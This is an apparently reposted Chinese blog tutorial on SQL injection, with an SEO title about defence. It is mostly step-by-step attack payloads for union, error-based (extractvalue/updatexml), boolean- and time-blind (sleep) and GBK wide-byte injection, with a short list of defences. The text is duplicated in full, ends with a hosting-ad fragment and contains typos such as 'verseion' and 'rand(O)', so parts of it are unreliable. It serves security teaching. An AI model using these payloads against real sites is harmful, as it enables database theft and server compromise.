SQL注入漏洞篇中,如何有效防范此类安全问题?

2026-04-28 09:211阅读0评论SEO资讯
  • 内容介绍
  • 文章标签
  • 相关推荐

本文共计3284个文字,预计阅读时间需要14分钟。

SQL注入漏洞篇中,如何有效防范此类安全问题?

SQL注入汇总,结合自身学习,整理常见SQL注入的原理及其利用方法。一篇SQL注入漏洞汇总,更新中...如有缺陷,望大家指正+SQL注入产生的原因?+当程序执行逻辑时,没有对用户输入的参数进行验证?

SQL注入汇总,结合自身学习,整理常见SQL注入的原理及其利用方法

一篇SQL注入漏洞汇总,更新中…… 如有缺陷 望大佬指正

SQL注入产生的原因?

当程序执行逻辑时没有对用户输入的参数做过滤处理,使参数直接与后台数据库产生逻辑交互,即SQL注入
黑客就可以利用各种SQL注入的方法 获取数据库敏感信息

当Web应用向后台数据库传递SQL语句进行数据库操作时。如果用户输入的SQL语句没有经过严格的执行过滤且能导致非法格式正常执行并输出数据库信息,即为SQL注入。

在有与数据库产生交互的地方,都有可能产生SQL注入漏洞。

SQL注入的危害?
  1. 泄露数据库敏感信息
  2. 获取目标服务器控制权
SQL注入常见数据类型 字符型(String)数值型(Int)GET POST cookie型
  • 字符型
  • 数字型
  • 盲注
  • 显错注入
  • GET型注入
  • POST型注入
  • Cookie型注入
  • Session型注入
  • Header注入
SQL 注入常见分类:
  1. 盲注
  2. 报错注入
  3. GET POST注入
  4. Cookie Session型注入
SQL 特殊注入分类:
  1. 宽字节注入
  2. HTTP头注入(header注入)
  3. 二次编码注入
  4. 堆叠注入
  5. 二次注入
SQL注入常见防御方法
  1. 对用户输入的参数做严格过滤处理
  2. PDO 预处理数据库对象
  3. PHP中可以使用特殊转义字符函数 mysql_real_escape_string()
  4. 黑名单防御和白名单防御
  • 黑名单防御:sql注入中 过滤 union select 和 information_schema 等敏感字符
  • 白名单防御:sql注入中 验证id参数是否是整形 只允许传入数字型参数
MySQL增删改查基础语句
  1. 创建表

create database database_name; create table table_name( id int, username varchar(100), password varchar(100) );

  1. 删除数据库内容

drop database database_name; drop table table_name; delete from table_name where id=x; delete from table_name where username='username';

  1. 增加更新数据库数据表

insert into table_name(id,username,password) VALUES ('id','user','pwd'); update table_name set username='KIO' where id=1'; -- 把id=1这一行的username的值改为KIO use database_name;

  1. 查询数据库内容

--查询所有数据库 show databases; --查询所有数据表 show tables; --查询表内所有内容 select * from table_name; --条件查询指定列内容 select id author from table_name; --条件查询所有内容 select * from table_name where id=5;

  1. 导出数据库

mysqldump -u username -p sql_file_name>[路径] 重命名.sql

  1. 导入数据库

1. source [路径]file_name.sql; 2. 复制粘贴

回显注入
什么是回显注入?

联合回显注入是通过联合查询的方式,利用SQL注入漏洞,获取回显位
通过回显位,执行闭合SQL查询语句 以获取数据库敏感信息的操作

联合注入的一般步骤(含语句):
  1. 判断数据库数据类型

?[参数func] 1' and 1='2# //字符型 ?[参数func] 1 and 1=2# //数字型

通过页面反响 判断正确的数据类型 一般and后面有反应的语句即为当前类型
任何SQL注入前都需要判断SQL数据类才能对症下药,白盒测试中可以通过查看源代码判断

  1. 判断当前注入点 表列数

?[null]' order by 3# //字符型 SQL注入常用注释符 --+ #

  1. 获取显示位置

?[null]' union select 1,2,3#

  1. 获取当前数据库名

?[null]' union select 1,database(),3# SQL注入常用函数名 // database() 查询当前数据库名 // user() 查询当前数据库用户名 // version() 查询当前交互的数据库信息或版本

显位在2 即在2处查询数据库名


  1. 获取所有数据库名

?[null]' union select 1,group_concat(schema_name),3 from information_schema.schemata# SQL注入常用函数名 # group_concat() 将查询所有行的内容 以一行展示

  1. 判断数据库名 指定想要查询的表名

?[null]' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='databasename'# # group_concat() 将查询所有行的内容 以一行展示 # table_name 表名 # tables 数据库所有表 # table_schema 查询的数据库名

  1. 根据数据表名查询所有的关键列

?[null]' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='tablename' table_schema='databasename'# # group_concat() 将查询所有行的内容 以一行展示 # column_name 列名 # columns 数据库所有列 # table_schema 查询的数据库名

  1. 获取关键列名的内容

?[null]' union select 1,group_concat('value'),group_concat('value') from 'databasename.tables_name'# # group_concat() 将查询所有行的内容 以一行展示 # column_name 列名 # columns 数据库所有列 # table_schema 查询的数据库名


报错注入
什么是报错注入?

利用数据库机制,人为制造错误条件,使得查询结果能够出现错误信息

正常用户访问服务器发送id信息返回正确的id数据。报错注入是想办法构造语句,让错误信息中可以显示数据库的内容,如果能让错误信息中返回数据库中的内容,即实现SQL注入。

什么时候使用报错注入?

当正常的回显注入无法显示结果,就可以使用报错注入尝试获取结果

brint_r(mysql_error()); //显示报错信息 当开发者用了报错函数才能使用报错注入 报错注入常用函数

  1. extractvalue()
  2. updatexml()
  3. floor()

常见报错注入利用语句

?[null]' and extractvalue(1,concat(0x7e,(select database()),0x7e))# # 0x7e 十六进制编码 在这里起到定位作用 # and 连接语句 ?[null]' and updatexml(1,concat(0x7e,(select database()),0x7e),1)# # 0x7e 十六进制编码 在这里起到定位作用 # and 连接语句 ?[null]' and (select 1 from(select count(*),concat((此处可替换任意SQL语句),floor(rand(O)*2))x from information_schema.tables group by x)y)#


盲注
什么是SQL盲注?

**盲打,手工盲打和sqlmap一把梭你选**<br />**普通SQL注入无回显结果,且无法进行报错注入的情况下选用盲注**<br />**使用布尔值判断输入的SQL语句是否与后台数据库产生反应** SQL盲注的常见方法:

布尔盲注(通过布尔值,参数 观察页面变化判断)
时间盲注(观察浏览反响时间变化)

盲注的常用函数:

substr(database(),1,2) 从第一个字符开始,取2个字符
mid(database(),1,1) ** 从第一个字符开始,取1个字符
ascii() 把字符转换为ASCII码
ord('abcd') ** 获取字符的第一个ASCII值
left('string',length) 获取string从左边开始的length值
right('string',length) 获取string从右边开始的length值
length() ** 获取字符串长度
count()** 获取行数

布尔盲注的一般步骤:
1.判断数据库版本

?id=1' and left(version(),1)='5'# //获取version()开始最左边的length值判断是否是5版本 2.判断数据库名的长度 //使用逻辑运算符

?id=1' and length(database())='8'# //判断数据库名'database()' 的字符串长度是否是8个字符 3.依次获取数据名

?id=1' and substr(database(),1,1)='v'# # '1,1' 表示从第一个字符开始取一个字符 # 判断数据库名'database()'的第一个字符是不是v

?id=1' and left(database(),1)='s'# # 判断数据库名'database()'最左边的第一个字符是不是s

?id=1' and ascii(substr(database(),1,1))=115# # '1,1' 表示从第一个字符开始取一个字符 # 判断数据库名'database()'的第一个字符的ascii编码值是不是115 115=s 4.以上方法获取到数据库名 5.判断表总数

?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=4# #判断表总数为4 6.依次获取数据库表的表名长度

?id=1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=6# # limit 0,1 取第一个表名 判断第一个表名长度为6个字符 # 通过limit 判断所有表名的长度 7.依次判断获取每个数据表名

?id=1' and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101# #通过ascii将mid查询的到第一个表的第一个字符转换为asscii码 这里101=e 时间盲注 为什么使用时间盲注?

网站注入无回显,无报错,且布尔盲注真假情况下,网站结果不会发生任何改变
可以使用时间盲注观察网页,分辨是否存在SQL注入

时间盲注的原理

通过if判断语句,控制网站的响应时间 通过网站访问的响应时间来判断sql语句的正确性

时间盲注常用函数
  • sleep() 函数

    • sleep(10) //网站等待10秒后再响应
  • if(exp1,exp2,exp3) if语法

    • 方法一:
    • if(条件表达式,表达式为真时执行的内容,表达式为假时执行的内容)
      • if((length())>8,sleep(10),null)
      • 判断第一个表达式中的length>8 是否是正确的
      • 如果是错误的返回结果为空
  • 通常使用第一种方法

    • 方法二:
    • if(条件表达式,表达式为真时执行的内容,表达式为假时执行的内容)
      • if((length())>8,null,sleep(10))

*网站本身需要响应时间 sleep 设定值要大

时间盲注一般步骤:
  1. 判断数据库长度

?id=1' and (if((length(database())=8),sleep(10),null))# # 断数据库名长度是否为8 # sleep(10) 结果为真时 页面刷新时间为10s # null 结果为假时 返回结果为空值

  1. 依次判断数据库名

?id=1' and (if((ascii(substr(database(),1,1))=115),sleep(10),null))#

  1. 判断当前数据库版本

?id=1' and (if((left(verseion(),1)='5'),sleep(10),null))# #通过获取版本号最左边的第一个字符是否为5去判断数据库版本

  1. 判断数据库中表的个数

?id=1' and (if((select count(table_name) from information_schema.tables where table_schema=database())=4,sleep(10),null))# #判断数据库中表的个数是否为4个

  1. 依次判断数据库中的数据表的内容

?id=1' and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>100,sleep(5),1)--+

  1. 依次获取表中数据

?id=1' and if((ascii(substr((select 列名 from 表名 limit 0,1),1,1)))=97,sleep(5),1)--+


宽字节注入
什么是宽字节?

宽字节是指两个字节宽度的编码技术

SQL注入漏洞篇中,如何有效防范此类安全问题?

宽字节注入的原因?
  • MySQL的编码是gbk(gbk编码设置)
  • 字符不占一个字节,占两个字节以上的为宽字节
  • 宽字节注入是利用mysql的特性
  • 数据库使用的gbk编码会将两个字节当作一个汉字
    • 产生宽字节注入的前提:
    • 后端代码对 ' 做了转义过滤addslashes() 将在'前加入\
    • 数据库是gbk编码

\的URL编码是%5c 当用户输入%df 形成%df%5c
这时如果数据库使用了GBK编码 会自动将%df%5c识别成汉字,起到了绕过转义的效果,即存在宽字节注入。
因为汉字属于宽字节

宽字节注入方法

?id=%df' order by 5# # %df是url编码的特殊字符 也是一个宽字节 # 当数据库设置了GBK编码 系统执行逻辑语句时 会判定为一个正常字符 # 这就形成了宽字节注入

防御方法
  1. 数据库不使用GBK编码
  2. PDO 预处理数据库对象技术

HTTP头注入
什么是HTTP头注入?

当用户提交的参数未做过滤且Web程序执行逻辑代码成功执行后,将用户提交的参数直接输出在HTTP响应头中,即HTTP头注入

header注入利用方法——可以使用Burpsuite抓包,修改请求头注入点 www.558idc.com/hk.html提供,感谢支持】

本文共计3284个文字,预计阅读时间需要14分钟。

SQL注入漏洞篇中,如何有效防范此类安全问题?

SQL注入汇总,结合自身学习,整理常见SQL注入的原理及其利用方法。一篇SQL注入漏洞汇总,更新中...如有缺陷,望大家指正+SQL注入产生的原因?+当程序执行逻辑时,没有对用户输入的参数进行验证?

SQL注入汇总,结合自身学习,整理常见SQL注入的原理及其利用方法

一篇SQL注入漏洞汇总,更新中…… 如有缺陷 望大佬指正

SQL注入产生的原因?

当程序执行逻辑时没有对用户输入的参数做过滤处理,使参数直接与后台数据库产生逻辑交互,即SQL注入
黑客就可以利用各种SQL注入的方法 获取数据库敏感信息

当Web应用向后台数据库传递SQL语句进行数据库操作时。如果用户输入的SQL语句没有经过严格的执行过滤且能导致非法格式正常执行并输出数据库信息,即为SQL注入。

在有与数据库产生交互的地方,都有可能产生SQL注入漏洞。

SQL注入的危害?
  1. 泄露数据库敏感信息
  2. 获取目标服务器控制权
SQL注入常见数据类型 字符型(String)数值型(Int)GET POST cookie型
  • 字符型
  • 数字型
  • 盲注
  • 显错注入
  • GET型注入
  • POST型注入
  • Cookie型注入
  • Session型注入
  • Header注入
SQL 注入常见分类:
  1. 盲注
  2. 报错注入
  3. GET POST注入
  4. Cookie Session型注入
SQL 特殊注入分类:
  1. 宽字节注入
  2. HTTP头注入(header注入)
  3. 二次编码注入
  4. 堆叠注入
  5. 二次注入
SQL注入常见防御方法
  1. 对用户输入的参数做严格过滤处理
  2. PDO 预处理数据库对象
  3. PHP中可以使用特殊转义字符函数 mysql_real_escape_string()
  4. 黑名单防御和白名单防御
  • 黑名单防御:sql注入中 过滤 union select 和 information_schema 等敏感字符
  • 白名单防御:sql注入中 验证id参数是否是整形 只允许传入数字型参数
MySQL增删改查基础语句
  1. 创建表

create database database_name; create table table_name( id int, username varchar(100), password varchar(100) );

  1. 删除数据库内容

drop database database_name; drop table table_name; delete from table_name where id=x; delete from table_name where username='username';

  1. 增加更新数据库数据表

insert into table_name(id,username,password) VALUES ('id','user','pwd'); update table_name set username='KIO' where id=1'; -- 把id=1这一行的username的值改为KIO use database_name;

  1. 查询数据库内容

--查询所有数据库 show databases; --查询所有数据表 show tables; --查询表内所有内容 select * from table_name; --条件查询指定列内容 select id author from table_name; --条件查询所有内容 select * from table_name where id=5;

  1. 导出数据库

mysqldump -u username -p sql_file_name>[路径] 重命名.sql

  1. 导入数据库

1. source [路径]file_name.sql; 2. 复制粘贴

回显注入
什么是回显注入?

联合回显注入是通过联合查询的方式,利用SQL注入漏洞,获取回显位
通过回显位,执行闭合SQL查询语句 以获取数据库敏感信息的操作

联合注入的一般步骤(含语句):
  1. 判断数据库数据类型

?[参数func] 1' and 1='2# //字符型 ?[参数func] 1 and 1=2# //数字型

通过页面反响 判断正确的数据类型 一般and后面有反应的语句即为当前类型
任何SQL注入前都需要判断SQL数据类才能对症下药,白盒测试中可以通过查看源代码判断

  1. 判断当前注入点 表列数

?[null]' order by 3# //字符型 SQL注入常用注释符 --+ #

  1. 获取显示位置

?[null]' union select 1,2,3#

  1. 获取当前数据库名

?[null]' union select 1,database(),3# SQL注入常用函数名 // database() 查询当前数据库名 // user() 查询当前数据库用户名 // version() 查询当前交互的数据库信息或版本

显位在2 即在2处查询数据库名


  1. 获取所有数据库名

?[null]' union select 1,group_concat(schema_name),3 from information_schema.schemata# SQL注入常用函数名 # group_concat() 将查询所有行的内容 以一行展示

  1. 判断数据库名 指定想要查询的表名

?[null]' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='databasename'# # group_concat() 将查询所有行的内容 以一行展示 # table_name 表名 # tables 数据库所有表 # table_schema 查询的数据库名

  1. 根据数据表名查询所有的关键列

?[null]' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='tablename' table_schema='databasename'# # group_concat() 将查询所有行的内容 以一行展示 # column_name 列名 # columns 数据库所有列 # table_schema 查询的数据库名

  1. 获取关键列名的内容

?[null]' union select 1,group_concat('value'),group_concat('value') from 'databasename.tables_name'# # group_concat() 将查询所有行的内容 以一行展示 # column_name 列名 # columns 数据库所有列 # table_schema 查询的数据库名


报错注入
什么是报错注入?

利用数据库机制,人为制造错误条件,使得查询结果能够出现错误信息

正常用户访问服务器发送id信息返回正确的id数据。报错注入是想办法构造语句,让错误信息中可以显示数据库的内容,如果能让错误信息中返回数据库中的内容,即实现SQL注入。

什么时候使用报错注入?

当正常的回显注入无法显示结果,就可以使用报错注入尝试获取结果

brint_r(mysql_error()); //显示报错信息 当开发者用了报错函数才能使用报错注入 报错注入常用函数

  1. extractvalue()
  2. updatexml()
  3. floor()

常见报错注入利用语句

?[null]' and extractvalue(1,concat(0x7e,(select database()),0x7e))# # 0x7e 十六进制编码 在这里起到定位作用 # and 连接语句 ?[null]' and updatexml(1,concat(0x7e,(select database()),0x7e),1)# # 0x7e 十六进制编码 在这里起到定位作用 # and 连接语句 ?[null]' and (select 1 from(select count(*),concat((此处可替换任意SQL语句),floor(rand(O)*2))x from information_schema.tables group by x)y)#


盲注
什么是SQL盲注?

**盲打,手工盲打和sqlmap一把梭你选**<br />**普通SQL注入无回显结果,且无法进行报错注入的情况下选用盲注**<br />**使用布尔值判断输入的SQL语句是否与后台数据库产生反应** SQL盲注的常见方法:

布尔盲注(通过布尔值,参数 观察页面变化判断)
时间盲注(观察浏览反响时间变化)

盲注的常用函数:

substr(database(),1,2) 从第一个字符开始,取2个字符
mid(database(),1,1) ** 从第一个字符开始,取1个字符
ascii() 把字符转换为ASCII码
ord('abcd') ** 获取字符的第一个ASCII值
left('string',length) 获取string从左边开始的length值
right('string',length) 获取string从右边开始的length值
length() ** 获取字符串长度
count()** 获取行数

布尔盲注的一般步骤:
1.判断数据库版本

?id=1' and left(version(),1)='5'# //获取version()开始最左边的length值判断是否是5版本 2.判断数据库名的长度 //使用逻辑运算符

?id=1' and length(database())='8'# //判断数据库名'database()' 的字符串长度是否是8个字符 3.依次获取数据名

?id=1' and substr(database(),1,1)='v'# # '1,1' 表示从第一个字符开始取一个字符 # 判断数据库名'database()'的第一个字符是不是v

?id=1' and left(database(),1)='s'# # 判断数据库名'database()'最左边的第一个字符是不是s

?id=1' and ascii(substr(database(),1,1))=115# # '1,1' 表示从第一个字符开始取一个字符 # 判断数据库名'database()'的第一个字符的ascii编码值是不是115 115=s 4.以上方法获取到数据库名 5.判断表总数

?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=4# #判断表总数为4 6.依次获取数据库表的表名长度

?id=1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=6# # limit 0,1 取第一个表名 判断第一个表名长度为6个字符 # 通过limit 判断所有表名的长度 7.依次判断获取每个数据表名

?id=1' and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101# #通过ascii将mid查询的到第一个表的第一个字符转换为asscii码 这里101=e 时间盲注 为什么使用时间盲注?

网站注入无回显,无报错,且布尔盲注真假情况下,网站结果不会发生任何改变
可以使用时间盲注观察网页,分辨是否存在SQL注入

时间盲注的原理

通过if判断语句,控制网站的响应时间 通过网站访问的响应时间来判断sql语句的正确性

时间盲注常用函数
  • sleep() 函数

    • sleep(10) //网站等待10秒后再响应
  • if(exp1,exp2,exp3) if语法

    • 方法一:
    • if(条件表达式,表达式为真时执行的内容,表达式为假时执行的内容)
      • if((length())>8,sleep(10),null)
      • 判断第一个表达式中的length>8 是否是正确的
      • 如果是错误的返回结果为空
  • 通常使用第一种方法

    • 方法二:
    • if(条件表达式,表达式为真时执行的内容,表达式为假时执行的内容)
      • if((length())>8,null,sleep(10))

*网站本身需要响应时间 sleep 设定值要大

时间盲注一般步骤:
  1. 判断数据库长度

?id=1' and (if((length(database())=8),sleep(10),null))# # 断数据库名长度是否为8 # sleep(10) 结果为真时 页面刷新时间为10s # null 结果为假时 返回结果为空值

  1. 依次判断数据库名

?id=1' and (if((ascii(substr(database(),1,1))=115),sleep(10),null))#

  1. 判断当前数据库版本

?id=1' and (if((left(verseion(),1)='5'),sleep(10),null))# #通过获取版本号最左边的第一个字符是否为5去判断数据库版本

  1. 判断数据库中表的个数

?id=1' and (if((select count(table_name) from information_schema.tables where table_schema=database())=4,sleep(10),null))# #判断数据库中表的个数是否为4个

  1. 依次判断数据库中的数据表的内容

?id=1' and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>100,sleep(5),1)--+

  1. 依次获取表中数据

?id=1' and if((ascii(substr((select 列名 from 表名 limit 0,1),1,1)))=97,sleep(5),1)--+


宽字节注入
什么是宽字节?

宽字节是指两个字节宽度的编码技术

SQL注入漏洞篇中,如何有效防范此类安全问题?

宽字节注入的原因?
  • MySQL的编码是gbk(gbk编码设置)
  • 字符不占一个字节,占两个字节以上的为宽字节
  • 宽字节注入是利用mysql的特性
  • 数据库使用的gbk编码会将两个字节当作一个汉字
    • 产生宽字节注入的前提:
    • 后端代码对 ' 做了转义过滤addslashes() 将在'前加入\
    • 数据库是gbk编码

\的URL编码是%5c 当用户输入%df 形成%df%5c
这时如果数据库使用了GBK编码 会自动将%df%5c识别成汉字,起到了绕过转义的效果,即存在宽字节注入。
因为汉字属于宽字节

宽字节注入方法

?id=%df' order by 5# # %df是url编码的特殊字符 也是一个宽字节 # 当数据库设置了GBK编码 系统执行逻辑语句时 会判定为一个正常字符 # 这就形成了宽字节注入

防御方法
  1. 数据库不使用GBK编码
  2. PDO 预处理数据库对象技术

HTTP头注入
什么是HTTP头注入?

当用户提交的参数未做过滤且Web程序执行逻辑代码成功执行后,将用户提交的参数直接输出在HTTP响应头中,即HTTP头注入

header注入利用方法——可以使用Burpsuite抓包,修改请求头注入点 www.558idc.com/hk.html提供,感谢支持】